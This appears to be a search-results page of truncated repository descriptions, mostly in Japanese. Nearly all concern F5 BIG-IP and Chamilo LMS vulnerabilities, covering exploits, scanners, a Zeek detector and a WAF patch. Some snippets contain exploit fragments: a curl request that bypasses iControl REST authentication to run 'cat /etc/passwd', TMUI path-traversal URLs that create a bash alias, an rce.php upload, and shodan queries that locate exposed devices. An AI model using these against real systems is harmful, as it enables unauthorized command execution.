14517 matches found
BigFinger
CVE-2023-46747 - Big-IP RCE No autenticado Este es un script de Python3 para explotar la vulnerabilidad de ejecución remota de código no autenticado CVE-2023-46747 en dispositivos F5 BIG-IP a través de la interfaz TMUI. Básicamente, si esta vulnerabilidad impacta, obtienes una shell sin...
CVE-2023-4220-HTB-PermX
Chamilo-LMS-CVE-2023-4220-Exploit 説明 このエクスプロイトは、Chamilo-LMS における無制限ファイルアップロードの脆弱性を実証します。この脆弱性は、以下の場所にある big file upload 機能に影響します： /main/inc/lib/javascript/bigupload/inc/bigUpload.php 影響を受けるバージョン : Chamilo LMS = v1.11.24 この脆弱性により、任意のファイルを以下の場所にアップロードできます： /main/inc/lib/javascript/bigupload/files/...
CVE-2022-1388
CVE-2022-1388 https://support.f5.com/csp/article/K23605346 この脆弱性により、認証されていない攻撃者が管理ポートおよび/または自身のIPアドレスを介してBIG-IPシステムへのネットワークアクセスを取得し、任意のシステムコマンドの実行、ファイルの作成または削除、サービスの無効化が可能になる可能性があります。 F5 IPアドレスをF5IPに書き込んだ後、CVE-2022-1388scan.shを実行します。脆弱性が存在する場合、以下が出力されます。 参照：...
CVE-2022-1388-checker
CVE-2022-1388-checker CVE-2022-1388 F5 用の複数ホストをチェックするための bash で書かれたシンプルなスクリプト。 + 使用法: ./CVE-2022-1388.sh hosts.txt 参考文献 https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...
Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed
Nuclei テンプレート CVE-2022-1388 BIG-IP iControl REST 露出 2022年5月6日 これは認証エンドポイントにアクセスしてAPIの存在を確認するだけです この脆弱性により、管理ポートやセルフIPアドレスを介してBIG-IPシステムにネットワークアクセス可能な認証されていない攻撃者が、任意のシステムコマンドを実行したり、ファイルを作成・削除したり、サービスを無効化したりする可能性があります。データプレーンへの影響はなく、これはコントロールプレーンの問題のみです。 このテンプレートは簡単なチェックです リクエストを送信: path...
decoder-plus-plus
Decoder++ Decoder++ is an extensible application designed for penetration testers, software developers, and anyone in between looking to effortlessly decode and encode data across various formats. It includes a wide range of preinstalled scripts and codecs, smart decoding and format identificatio...
CVE-2022-1388
CVE-2022-1388 BIG IP REST RCE F5 BIG-IP の 16.1.x 系（16.1.2.2 未満）、15.1.x 系（15.1.5.1 未満）、14.1.x 系（14.1.4.6 未満）、13.1.x 系（13.1.5 未満）、および全 12.1.x 系と 11.6.x 系において、未公開のリクエストにより iControl REST 認証がバイパスされる可能性があります。 この脆弱性をテストするには、以下の cURL ワンライナーを使用してください。 curl -k --header "Host: 127.0.0.1" --header...
awesome-pentest
Awesome Penetration Testing A collection of awesome penetration testing and offensive cybersecurity resources. Penetration testing is the practice of launching authorized, simulated attacks against computer systems and their physical infrastructure to expose potential security weaknesses and...
CVE-2020-5902-F5BigIP
CVE-2020-5902（F5 BIG-IP デバイス） 概要: CVE-2020-5902（F5 Networks BIG-IP デバイスに影響を与える CVE10.0 の脆弱性）に対する Zeek 検出パッケージです。 参考文献: https://corelight.blog/2020/07/28/zeek-in-its-sweet-spot-detecting-f5s-big-ip-cve10-cve-2020-5902/ https://support.f5.com/csp/article/K52145254...
CVE-2022-1388
shodan search 'http.html:"BIG-IP Configuration Utility"' --fields=ipstr,port --separator ":" --limit 10 | grep '' shodan search 'http.title:"BIG-IP®-+Redirect"+"Server"' --fields=ipstr,port --separator ":" --limit 10 | grep '' CVE-2022-1388 CVE-2022-1388 扫描器 使用方法：$python3 CVE-2022-1388-V1.1.py...
CVE-2020-5903
CVE-2020-5902 リモートコード実行 /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash...
Exploit-F5-CVE-2022-1388
Exploit-F5-CVE-2022-1388 F5 BIG-IP のPoC - bashスクリプトのワンライナーエクスプロイト 脆弱なバージョン : BIG-IP バージョン 16.1.0 ～ 16.1.2 パッチリリース済み BIG-IP バージョン 15.1.0 ～ 15.1.5 パッチリリース済み BIG-IP バージョン 14.1.0 ～ 14.1.4 パッチリリース済み BIG-IP バージョン 13.1.0 ～ 13.1.4 パッチリリース済み BIG-IP バージョン 12.1.0 ～ 12.1.6 サポート終了 BIG-IP バージョン 11.6.1 ～ 11.6.5...
CVE-2022-1388
CVE-2022-1388 F5のBIG-IP製品のiControl REST API機能にリモートコード実行の脆弱性が存在します。認証されていないリモート攻撃者は、これを悪用して認証をバイパスし、root権限で任意のコマンドを実行できます。 使い方 python3 f5bigipscanner.py...
CVE-2022-1388
CVE-2022-1388 BIG-IP iControl REST の脆弱性 CVE-2022-1388 使用方法 このPOCは検証済みです！ curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...
CVE-2020-5902
CVE-2020-5902 この脆弱性をチェックするためのPOCコードです。コードが公開されたため、私もこれを公開することにしました。即座にパッチを適用してください！ Usage: python3 CVE-2020-5902.py -u https://big-ip.com -o check 2/dev/null...
CVE-2022-1388-RCE-checker-and-POC-Exploit
CVE-2022-1388 RCE チェッカー CVE-2022-1388 RCE F5 BIG-IP をチェックするシンプルなbashスクリプトです。 + 使用法: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE PoC エクスプロイト IPアドレス を変更するのを忘れないでください。 curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection: keep-alive...
f5-waf-quick-patch-cve-2021-44228
f5-waf-quick-patch-CVE-2021-44228 F5 Networks Advanced WAF/ASM クイックパッチ CVE 2021-44228。 概要 このツールはBIG-IPデバイスに接続し、CVE-2021-4428というカスタムシグネチャセットを作成し、すべてのポリシーにブロッキングモードで適用します。また、すべてのシグネチャを強制し、変更を適用します。BIG-IP ASM v15.xでテスト済みですが、v13.x/v14.x/v16.xでも動作すると思われます。 警告:...
CVE-2023-4220
CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...
dsa
Goのcrypto/dsa脆弱性（CVE-2016-3959）の概要 Alex Mullins 2016年4月9日 はじめに 最近、Goプログラミング言語用のDigital Signature Algorithm（DSA）暗号ライブラリにバグが発見されました。この記事では、このバグの詳細と、攻撃者がこれを利用して、クライアント認証に基礎となるDSAライブラリを使用する標準的なGo SSHサーバーに対してサービス拒否攻撃を仕掛ける方法について説明します。 この脆弱性が最初に言及されたのは、Open Source Security（oss-sec）メーリングリストの投稿...